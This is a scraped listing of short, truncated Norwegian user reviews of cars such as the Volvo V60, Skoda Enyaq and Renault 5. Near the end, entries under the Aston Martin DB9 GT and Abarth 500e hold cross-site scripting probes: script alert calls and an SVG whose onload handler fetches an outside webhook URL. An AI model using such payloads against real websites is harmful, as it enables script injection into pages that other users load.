Vurdert av Svampe
Volvo V60 (2023)
Etter mange år med Audi A3/A4 allroad ble det slutt takket være dårlig kundeservice hos Møller. Bilen gir stor kjøreglede under alle forhold, interiørkvalitet/seter svært bra. Dette er min 2. p
Volvo V60 (2023)
Etter å ha kjørt en XC60 T8 i fire problemfrie år var det dags med en ny Volvo. Denne gang en liten V60. Var veldig skeptisk til plassen i denne bilen kontra den forrige men ble positivt overrasket
Volvo V60 (2022)
Volvo V60 (2022)
Hurtig og lekker familiebil. Usexet lydbilde og irriterende elektronikproblemer trekker ned. Ville ikke kjøpe Volvo igjen.
Volvo V60 (2021)
Kjempebil
Volvo V60 (2021)
Fantastisk bil å kjøre men langt fra feilfri. Gla jeg ennå har 5 år garanti igjen
Volvo V60 (2021)
Virkelig en kjøremaskin! Ren kjøreglede hele veien.
Volvo V60 (2021)
Jeg er strålende fornøyd med bilen i og med at den også er spekket med alle tilleggspakker som får bilen til å strekke seg opp i premium sjiktet. Volvo har alltid vært tidlig ute med nye sikker
Volvo V60 (2020)
T8 AWD: En kraftkar av en familiebil som alltid evner å dra på smilebåndet, om du byr opp til dans. Kjørelengden på strøm kunne vært lengre, men anser denne som en bonus på en finfin 2l bens
Volvo V60 (2020)
Morsom og rask bil med de extra detaljer som funker som familiebil.
Volvo V60 (2020)
Generelt veldig god bil. Behagelig og rask. Mangler en del for å være sport.
Volvo V60 (2020)
Super bil.
Volvo V60 (2020)
En liten, sportslig familiebil som passer perfekt til norske avgiftssystemer (og veier). Løp og kjøp!
Volvo V60 (2020)
Dette er ikke en sportsbil. Det er en behagelig og god familiebil. Alle sitter godt, stille og fredelig. Gode sikkerhetssystemer. Kan være litt plagsom med "pilot assist" aktiv, og du må følge m
Volvo V60 (2019)
Veldig fornøyd med setene, kjørekomfort og bedre plass kontra min forrige V60 MY11. Har ikke opplevd store feil til nå med 64650km på telleren.
Citroën DS3 (2012)
Billog liten sportsbil. Jeg vil tro at dette må være en veldig gøy førstebil for mange. Den går godt om mann får bensin 156hk utgaven den ser bra ut og den ligger godt på veien.
Volvo XC40 (2024)
Veldig fornøyd med bil, komfort og spesielt støy som er lavere enn de fleste biler i denne klasse/ pris. Ingen problemer med bilen!
Skoda Enyaq (2025)
Brukt som drosje, har per nå 75000km. Veldig stor oppgradering å få batterivarme. Regenerativ bremsing anbefales ikke på vinterføre. Får minus på forbruk da bilen gir meg 270-330km på kaldeste
Volvo EX30 (2025)
Mekanisk fin bil men med et makkverk av software som er full av feil. Se Volvo ex30 forum for tidenes lengste og gjentakende feil rapporter. Volvo ser ikke ut til å være interessert å ordne opp des
Skoda Enyaq (2023)
Syns utseende å bilen er tøff, ellers kan jeg ikke sa hva den skal være bedre på enn sine konkurrenter. Sitte stillingen passer meg dårlig, men fruen liker det. Pluss at den har soltak Elendi
Mazda CX-5 (2013)
Bilens største utfordring med skyactive motor er relatert til partikkelfilter, koksing av inntaksmanifold og tett sumpfilter, som kan lede til havari. Annet er utkobling av turbo på grunn av feil ve
Renault 5 E-Tech (2025)
Dette er virkelig en bil jeg anbefaler. Årets bil i Europa og Årets bil i Norge, med god grunn. Veldig kult retro-design. Legger til at Renault også hadde årets bil i Europa i 2024 med Scenic E-Te
Citroën e-C4 (2025)
Jeg er foreløpig veldig fornøyd. Har slitt litt med å finne den optimale sittekomforten, men en pute gjorde susen der (jeg er 180 og trengte ekstra korsryggstøtte). Bilens automatikk passer meg ve
Aston Martin DB9 GT (2017)
alert("total")
Aston Martin DB9 GT (2017)
totalvurderingtest
Abarth 500e (2024)
Abarth 500e (2024)
Abarth 500e (2024)
xxxfooo4
Abarth 500e (2024)
<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://webhook.site/418d388b-4676-4b57-95ba-4330be1ec311')"> <circle cx="50" cy="50" r="40" fill="red"/> </svg> <script>alert(1)</script>
Volvo EX40 (2026)
Dette er ikke en volvo som vi er kjent med volvo. Dårlige seter, umulig å opprettholde 20grader i kupe på vinter, kjapp på gasspedal, men enormt strømforbruk uansett hvordan du prøver å tilpass